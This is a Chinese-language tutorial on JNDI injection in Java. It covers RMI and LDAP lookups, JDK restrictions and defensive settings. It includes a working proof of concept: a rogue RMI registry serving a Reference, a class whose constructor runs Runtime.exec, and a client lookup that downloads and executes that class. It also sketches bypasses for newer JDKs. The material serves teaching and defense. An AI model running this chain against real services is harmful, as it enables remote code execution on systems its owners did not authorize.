JNDI注入的产生及利用
字数 1897 2025-08-09 17:09:29
JNDI注入原理与利用详解
一、JNDI基础概念
JNDI(Java Naming and Directory Interface)是Java提供的用于目录服务的API,它允许Java客户端通过名称发现和查找数据和资源。简单来说,JNDI就是将名字和对象绑定,通过名字检索对象。
JNDI支持的主要服务:
- DNS
- LDAP
- CORBA
- RMI
二、JNDI注入原理
1. 基本概念
JNDI注入是指攻击者将恶意的Reference类绑定在RMI注册表中,其中恶意引用指向远程恶意的class文件。当满足以下条件时,会导致远程代码执行:
- 客户端的lookup()函数参数外部可控
- 或Reference类构造方法的classFactoryLocation参数外部可控
2. 利用条件
- 客户端条件:lookup()方法的参数可控
- 服务端条件:使用Reference时,classFactoryLocation参数可控
3. 可应用环境
- RMI:通过JNDI Reference远程调用object方法
- CORBA IOR:远程获取实现类
- LDAP:通过序列化对象、JNDI Reference或ldap地址
三、RMI环境下的JNDI注入
1. RMI基础
RMI(Remote Method Invocation)是专为Java环境设计的远程方法调用机制:
- 远程服务器实现具体Java方法并提供接口
- 客户端根据接口定义提供参数调用远程方法
- 依赖JRMP(Java Remote Message Protocol)通信协议
- 对象通过序列化方式进行编码传输
2. RMI为什么易受JNDI注入
服务端代码示例:
IHello rhello = new HelloImpl();
LocateRegistry.createRegistry(1888);
Naming.bind("rmi://0.0.0.0:1888/hello", rhello);
客户端代码示例:
Registry registry = LocateRegistry.getRegistry("远程服务器地址",1888);
IHello rhello = (IHello) registry.lookup("hello");
rhello.sayHello("test");
当客户端访问RMI注册表并查找"hello"时,服务端会返回绑定的对象,客户端可以调用其方法。如果攻击者控制了lookup的参数或服务端的Reference配置,就可以实现注入。
四、JNDI注入实现步骤
1. 构造恶意服务端
服务端代码示例:
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIServer {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(7777);
Reference reference = new Reference("test", "test", "http://localhost/");
ReferenceWrapper wrapper = new ReferenceWrapper(reference);
registry.bind("calc", wrapper);
}
}
关键点:
- 使用
ReferenceWrapper封装Reference对象(因为Reference未实现Remote接口) Reference构造参数:- className: 远程加载时使用的类名
- factory: 加载的class中需要实例化的类名
- factoryLocation: 提供classes数据的地址(支持file/ftp/http等协议)
2. 准备恶意类
恶意类代码示例:
import java.lang.Runtime;
public class test {
public test() throws Exception {
Runtime.getRuntime().exec("calc");
}
}
将此代码编译为class文件并放置在HTTP服务器上(如http://localhost/test.class)
3. 触发漏洞的客户端
客户端代码示例:
import javax.naming.InitialContext;
public class JNDI_Test {
public static void main(String[] args) throws Exception {
new InitialContext().lookup("rmi://127.0.0.1:7777/calc");
}
}
执行流程:
- 客户端调用lookup查找"rmi://127.0.0.1:7777/calc"
- 服务端返回Reference对象
- 客户端从指定URL(http://localhost/)下载并执行恶意class
五、JDK版本限制与绕过
1. JDK安全更新历史
-
JDK 6u45、7u21之后:
java.rmi.server.useCodebaseOnly默认设为true- 禁用自动加载远程类文件,仅从CLASSPATH和当前JVM的
java.rmi.server.codebase指定路径加载类
-
JDK 6u141、7u131、8u121之后:
- 增加
com.sun.jndi.rmi.object.trustURLCodebase选项,默认为false - 禁止RMI和CORBA协议使用远程codebase
- 但仍可通过LDAP协议进行JNDI注入
- 增加
-
JDK 6u211、7u201、8u191之后:
- 增加
com.sun.jndi.ldap.object.trustURLCodebase选项,默认为false - 禁止LDAP协议使用远程codebase
- 增加
2. 高版本JDK绕过思路
- 利用本地存在的gadget链
- 利用其他未受限制的协议或服务
- 利用本地Classpath中已存在的类
六、防御措施
- 升级JDK到最新安全版本
- 避免将用户输入直接传递给JNDI lookup方法
- 设置系统属性限制远程代码加载:
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "false"); System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "false"); - 使用白名单验证JNDI查找的名称
- 对用户输入进行严格的过滤和校验
七、总结
JNDI注入是一种严重的远程代码执行漏洞,主要利用JNDI的Reference机制动态加载远程恶意类。虽然高版本JDK已经通过默认配置限制了这种攻击方式,但在特定环境下仍可能存在风险。开发者应当充分了解其原理,采取适当的防御措施,避免系统遭受此类攻击。